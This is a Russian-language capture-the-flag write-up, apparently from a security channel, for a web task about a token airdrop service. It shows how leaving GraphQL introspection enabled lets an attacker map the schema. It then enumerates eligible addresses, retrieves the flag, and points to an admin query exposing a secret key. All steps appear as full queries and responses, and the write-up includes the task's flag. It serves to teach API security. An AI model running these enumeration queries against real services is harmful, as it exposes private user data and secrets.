А вот и финальный разбор в нашей серии! Последний пазл, флаг за который дал целых 400 очков. Иногда самая простая ошибка — оставить introspection в GraphQL — становится очень дорогой...
Persik ICO Writeup
category: web, points: 400
Airdrop токена Persik уже прошёл, а вы - опоздали ... но сервис хранит больше данных, чем должен!
Достаньте любой eligible-адрес и заберите флаг
После подключения кошелька видно, что для проверки участвует ли адрес в airdrop'е отсылается GraphQL query checkAirdrop на эндпойнт /graphql. Увидим, что по этому пути нам доступен GraphiQL.
Проверим включена ли introspection:
query { __schema { types { name kind fields { name type { name kind } } } } }
Из схемы составим query getEligibleUsers и получим список список адресов участников airdrop'а:
query GetEligibleUsers { getEligibleUsers { address tokensClaimed airdropEligible } }
Выберем любой адрес и передадим его в checkAirdrop:
query CheckAirdrop($addr: String!) { checkAirdrop(address: $addr) { address tokensClaimed airdropEligible flag } }
И получим флаг:
{
"data": {
"checkAirdrop": {
"address": "0x8ba1f109551bD432803012645aac136c22C19e00",
"tokensClaimed": 3000,
"airdropEligible": true,
"flag": "vkctf{edd3417a9eb5c85b361d196e504b05a0}"
}
}
}
Опционально можно было использовать адрес администратора из admin query:
query AdminInfo { admin { secretKey vaultAddr } }
На этом серия разборов подходит к концу. Мы прошли путь от базовых уязвимостей до тонкостей GraphQL, где одна невыключенная настройка открыла доступ ко всей логике и данным сервиса. Этот таск — отличное напоминание: безопасность API часто ломается на самых простых вещах: забытых отладочных интерфейсах, излишней детализации ошибок или избыточных правах.
Предыдущие разборы серии:
1 часть
2 часть
3 часть
VK Security | Буст этому каналу
#разбор #CTF







